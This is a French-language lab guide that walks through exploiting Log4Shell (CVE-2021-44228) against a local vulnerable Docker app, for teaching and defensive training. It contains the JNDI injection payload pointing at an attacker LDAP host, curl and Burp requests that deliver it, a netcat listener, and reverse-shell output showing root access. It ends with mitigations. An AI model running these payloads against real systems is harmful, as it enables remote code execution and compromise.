Laboratoire pratique pour exploiter et comprendre Log4Shell (CVE-2021-44228) en utilisant Docker, Kali Linux, Burp Suite et log4j-shell-poc. Pour l'enseignement et la formation défensive uniquement dans des environnements de laboratoire contrôlés.
Log4Shell (CVE-2021-44228) est l'une des vulnérabilités d'exécution de code à distance les plus impactantes jamais divulguées. Elle affecte Apache Log4j 2, un framework de journalisation Java largement utilisé, et permet aux attaquants d'exécuter du code arbitraire en abusant des recherches JNDI dans les messages de journal.
Ce guide fournit un laboratoire de démonstration complet et reproductible utilisant :
log4j-shell-pocIl est conçu uniquement pour l'enseignement, la recherche, la formation et la sensibilisation défensive dans des environnements contrôlés. La structure et le style suivent le même esprit que le README du laboratoire compagnon « Shellshock ».
Ce laboratoire doit uniquement être réalisé dans un environnement contrôlé où vous avez une autorisation explicite (votre propre laboratoire, des VM de classe, etc.).
Log4Shell (CVE-2021-44228) est une vulnérabilité RCE critique dans Apache Log4j 2.
Le problème survient parce que les versions vulnérables de Log4j2 interprètent des chaînes contrôlées par l'attaquant telles que :
${jndi:ldap://ATTACKER_IP:1389/a}
Lorsque cette chaîne est journalisée, Log4j :
Dans ce laboratoire, vous allez :
log4j-shell-poc.curl et via Burp Suite.À la fin de ce laboratoire, vous devriez être capable de :
Tous les composants s'exécutent sur votre laboratoire virtuel existant. Pour ce document, nous supposons :
| Composant | Rôle / Description | Outils / Services | Adressage exemple |
|---|---|---|---|
| VM Kali Linux (Attaquant + Hôte) | Exécute le PoC d'exploitation, serveur LDAP, serveur HTTP, écouteur Netcat, Burp Suite | Python 3, JDK 1.8.0_202, Netcat, Burp Suite, Docker, curl, Git | 192.168.1.4 (exemple IP Kali) |
| Application web Log4j2 vulnérable | Cible ; application web Spring Boot vulnérable à Log4Shell | Image Docker : ghcr.io/christophetd/log4shell-vulnerable-app | Exposée à http://127.0.0.1:8080 |
Idée clé
L'attaquant injecte :
${jndi:ldap://192.168.1.4:1389/a}
dans un en-tête HTTP. L'application vulnérable le journalise en utilisant Log4j2 → effectue une recherche JNDI LDAP vers 192.168.1.4:1389 → télécharge une classe malveillante depuis http://192.168.1.4:8000 → exécute la classe, qui ouvre un reverse shell vers 192.168.1.4:9001.
Sur Kali, vous avez besoin de :
nc).Tout au long de ce guide, nous supposons que l'IP Kali est :
192.168.1.4
Si votre IP diffère, ajustez toutes les commandes en conséquence.
Le PoC repose sur Java SE 8 Update 202 (JDK 1.8.0_202) car les versions ultérieures de Java restreignent le comportement de chargement de classes à distance utilisé par cet exploit.
Même si Kali possède déjà OpenJDK 21 (ou similaire), vous devez quand même installer 8u202 séparément.
mkdir -p ~/Log4Shell
cd ~/Log4Shell
Racine du miroir :
https://mirrors.huaweicloud.com/java/jdk/8u202-b08/
Télécharger l'archive tar Linux x64 (≈185 Mo) :
wget https://mirrors.huaweicloud.com/java/jdk/8u202-b08/jdk-8u202-linux-x64.tar.gz
ls -lh jdk-8u202-linux-x64.tar.gz # devrait être ~185M
/usr/bin/jdk1.8.0_202sudo mkdir -p /usr/bin/jdk1.8.0_202
sudo tar -xvf jdk-8u202-linux-x64.tar.gz \
-C /usr/bin/jdk1.8.0_202 --strip-components=1
L'option --strip-components=1 supprime le répertoire de premier niveau de l'archive afin que les fichiers atterrissent directement sous /usr/bin/jdk1.8.0_202.
/usr/bin/jdk1.8.0_202/bin/java -version
Sortie attendue :
java version "1.8.0_202"
Java(TM) SE Runtime Environment (build 1.8.0_202-b08)
Java HotSpot(TM) 64-Bit Server VM (build 25.202-b08, mixed mode)
Si vous voyez cela, JDK 1.8.0_202 est correctement installé.
Dans un nouveau terminal sur Kali (vous pouvez rester dans ~/Log4Shell) :
docker run --name vulnerable-app --rm -p 8080:8080 \
ghcr.io/christophetd/log4shell-vulnerable-app@sha256:6f88430688108e512f7405ac3c73d47f5c370780b94182854ea2cddc6bd59929
Vous devriez voir des journaux similaires à :
:: Spring Boot :: (v2.6.1)
Tomcat initialized with port(s): 8080 (http)
Tomcat started on port(s): 8080 (http) with context path ''
Started VulnerableAppApplication ...
http://127.0.0.1:8080/ depuis Kali.Vérification rapide :
curl http://127.0.0.1:8080/
Vous pouvez voir une page d'erreur Whitelabel (HTTP 400). Ce n'est pas grave – tout ce dont nous avons besoin, c'est que l'application tourne et enregistre les requêtes.
log4j-shell-pocDans un nouveau terminal :
cd ~/Log4Shell
git clone https://github.com/kozmer/log4j-shell-poc.git
cd log4j-shell-poc
Confirmer les fichiers :
ls
# poc.py, target/, README, etc. Exploit.java sera généré plus tard.
poc.py pour utiliser JDK 1.8.0_202Par défaut, poc.py s'attend à trouver un JDK local dans un répertoire nommé jdk1.8.0_20 dans le dépôt. Au lieu de cela, vous avez installé JDK 8u202 dans /usr/bin/jdk1.8.0_202, vous devez donc mettre à jour le script.
poc.py dans un éditeurnano poc.py
Recherchez jdk1.8.0_20 (dans nano : Ctrl+W, tapez jdk1.8.0_20, appuyez sur Entrée).
Vous devriez trouver trois occurrences telles que :
subprocess.run([os.path.join(CUR_FOLDER, "jdk1.8.0_20/bin/javac"), str(p)])
exit_code = subprocess.call([
os.path.join(CUR_FOLDER, 'jdk1.8.0_20/bin/java'),
'-version',
], stderr=subprocess.DEVNULL, stdout=subprocess.DEVNULL)
subprocess.run([
os.path.join(CUR_FOLDER, "jdk1.8.0_20/bin/java"),
"-cp",
os.path.join(CUR_FOLDER, "target/marshalsec-0.0.3-SNAPSHOT-all.jar"),
"marshalsec.jndi.LDAPRefServer",
url,
])
Remplacez-les par :
subprocess.run(["/usr/bin/jdk1.8.0_202/bin/javac", str(p)])
exit_code = subprocess.call([
"/usr/bin/jdk1.8.0_202/bin/java",
'-version',
], stderr=subprocess.DEVNULL, stdout=subprocess.DEVNULL)
subprocess.run([
"/usr/bin/jdk1.8.0_202/bin/java",
"-cp",
os.path.join(CUR_FOLDER, "target/marshalsec-0.0.3-SNAPSHOT-all.jar"),
"marshalsec.jndi.LDAPRefServer",
url,
])
Enregistrer et quitter :
Ctrl + O → EntréeCtrl + XLe PoC utilise maintenant JDK 1.8.0_202 depuis /usr/bin.
Depuis ~/Log4Shell/log4j-shell-poc :
python3 poc.py --userip 192.168.1.4 --webport 8000 --lport 9001
Paramètres :
--userip – votre IP Kali (attaquant) : par ex. 192.168.1.4.--webport – port pour le serveur HTTP intégré : 8000.--lport – port auquel la charge utile se reconnecte : 9001.Si tout est configuré correctement, vous devriez voir quelque chose comme :
[!] CVE: CVE-2021-44228
[!] Github repo: https://github.com/kozmer/log4j-shell-poc
[+] Exploit java class created success
[+] Setting up LDAP server
[+] Send me: ${jndi:ldap://192.168.1.4:1389/a}
[+] Starting Webserver on port 8000 http://0.0.0.0:8000
Listening on 0.0.0.0:1389
Important :
Le serveur LDAP écoute sur le port 1389.
Le serveur HTTP écoute sur le port 8000.
La charge utile exacte à injecter est affichée :
${jndi:ldap://192.168.1.4:1389/a}
Laissez ce terminal en cours d'exécution.
Ouvrez un autre nouveau terminal sur Kali :
nc -nvlp 9001
Vous devriez voir :
listening on [any] 9001 ...
Cet écouteur recevra le reverse shell de l'application vulnérable.
À ce stade, vous devriez avoir :
poc.py exécutant LDAP (1389) et HTTP (8000).curlTout d'abord, prouvez que l'exploit fonctionne en utilisant une requête HTTP brute.
Dans un nouveau terminal (ou réutilisez-en un si disponible) :
curl http://127.0.0.1:8080 \
-H 'X-Api-Version: ${jndi:ldap://192.168.1.4:1389/a}'
Ce qui se passe :
X-Api-Version.${jndi:ldap://192.168.1.4:1389/a} et effectue une recherche JNDI LDAP.poc.py) répond avec une référence à une classe Java malveillante hébergée sur votre serveur HTTP.192.168.1.4:9001 et génère un shell.En cas de succès, votre terminal Netcat affiche :
connect to [192.168.1.4] from (UNKNOWN) [172.17.0.2] 48xxx
id
uid=0(root) gid=0(root) groups=0(root), ...
Vous avez maintenant un shell root à l'intérieur du conteneur Docker.
Essayez :
id
hostname
ls /
Quittez avec :
exit
Netcat reviendra en écoute.
Démontrez maintenant le même chemin d'exploitation en utilisant un navigateur via Burp Suite.
127.0.0.1:8080.127.0.0.1, Port : 8080.127.0.0.1.Dans Burp → Proxy → Intercept, assurez-vous que Intercept est activé.
Dans Firefox, naviguez vers :
http://127.0.0.1:8080/
Burp affichera la requête interceptée, par exemple :
GET / HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 ...
...
Dans Repeater, modifiez la requête pour inclure un en-tête X-Api-Version :
GET / HTTP/1.1
Host: 127.0.0.1:8080
X-Api-Version: ${jndi:ldap://192.168.1.4:1389/a}
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Notes :
192.168.1.4 par votre véritable IP Kali si elle est différente.${} en URL – ils doivent apparaître exactement comme indiqué.Connection: close simplifie les choses (optionnel).poc.py et l'écouteur Netcat sont toujours en cours d'exécution.Vous pouvez à nouveau voir une page d'erreur Whitelabel 400 – ce n'est pas grave.
Vérifiez votre terminal Netcat :
listening on [any] 9001 ...
connect to [192.168.1.4] from (UNKNOWN) [172.17.0.2] 37244
id
uid=0(root) gid=0(root) groups=0(root), ...
Vous avez une nouvelle fois obtenu un shell root sur le conteneur, cette fois en utilisant une requête HTTP modifiée par Burp, ce qui reflète un flux de travail d'exploitation web réaliste.
L'attaquant crée la charge utile JNDI :
${jndi:ldap://192.168.1.4:1389/a}
L'application vulnérable journalise cette chaîne en utilisant Log4j2.
Log4j2 interprète ${jndi:...} et effectue une recherche JNDI.
La recherche utilise LDAP pour contacter le serveur LDAP de l'attaquant à 192.168.1.4:1389.
Le serveur LDAP (marshalsec) répond avec un javaNamingReference pointant vers une classe contrôlée par l'attaquant hébergée via HTTP, par exemple :
http://192.168.1.4:8000/Exploit.class
La JVM victime télécharge et charge cette classe.
Le constructeur de la classe ouvre un socket vers 192.168.1.4:9001 et y lie /bin/sh.
L'écouteur Netcat de l'attaquant reçoit la connexion entrante et obtient un shell root distant à l'intérieur du conteneur.
Dans les environnements réels, plusieurs couches défensives doivent être appliquées.
Pour les déploiements encore vulnérables, ajoutez :
-Dlog4j2.formatMsgNoLookups=true
(Là où applicable – notez que toutes les configurations vulnérables ne sont pas corrigées par ce seul indicateur.)
JndiLookup des JAR log4j-coreEn tant que mesure de défense en profondeur :
zip -q -d log4j-core-*.jar \
org/apache/logging/log4j/core/lookup/JndiLookup.class
${jndi: ou ${${lower:j}${upper:ndi}:.Un aperçu condensé des commandes utilisées dans ce laboratoire.
mkdir -p ~/Log4Shell
cd ~/Log4Shell
wget https://mirrors.huaweicloud.com/java/jdk/8u202-b08/jdk-8u202-linux-x64.tar.gz
ls -lh jdk-8u202-linux-x64.tar.gz
sudo mkdir -p /usr/bin/jdk1.8.0_202
sudo tar -xvf jdk-8u202-linux-x64.tar.gz \
-C /usr/bin/jdk1.8.0_202 --strip-components=1
/usr/bin/jdk1.8.0_202/bin/java -version
docker run --name vulnerable-app --rm -p 8080:8080 \
ghcr.io/christophetd/log4shell-vulnerable-app@sha256:6f88430688108e512f7405ac3c73d47f5c370780b94182854ea2cddc6bd59929
cd ~/Log4Shell
git clone https://github.com/kozmer/log4j-shell-poc.git
cd log4j-shell-poc
poc.py (résumé)Remplacez :
os.path.join(CUR_FOLDER, "jdk1.8.0_20/bin/javac")
os.path.join(CUR_FOLDER, "jdk1.8.0_20/bin/java") # deux utilisations
Par :
"/usr/bin/jdk1.8.0_202/bin/javac"
"/usr/bin/jdk1.8.0_202/bin/java"
python3 poc.py --userip 192.168.1.4 --webport 8000 --lport 9001
nc -nvlp 9001
curlcurl http://127.0.0.1:8080 \
-H 'X-Api-Version: ${jndi:ldap://192.168.1.4:1389/a}'
${jndi:ldap://192.168.1.4:1389/a}
X-Api-Version: ${jndi:ldap://192.168.1.4:1389/a}
| Description | Image |
|---|---|
| Installation JDK / configuration de l'environnement | ![]() |
| Script PoC en cours d'exécution (déclenchement de la charge utile) | ![]() |
| Application web Tomcat vulnérable en cours d'exécution | ![]() |
| Mise à jour du script d'exploit PoC | ![]() |
kozmer/log4j-shell-pocchristophetd/log4shell-vulnerable-appLaboratoire pédagogique Log4Shell (CVE-2021-44228) – conçu avec soin pour les étudiants, les défenseurs et les hackers éthiques du monde entier.
Réalisé avec amour par :
Haitham d'Oman ❤️🇴🇲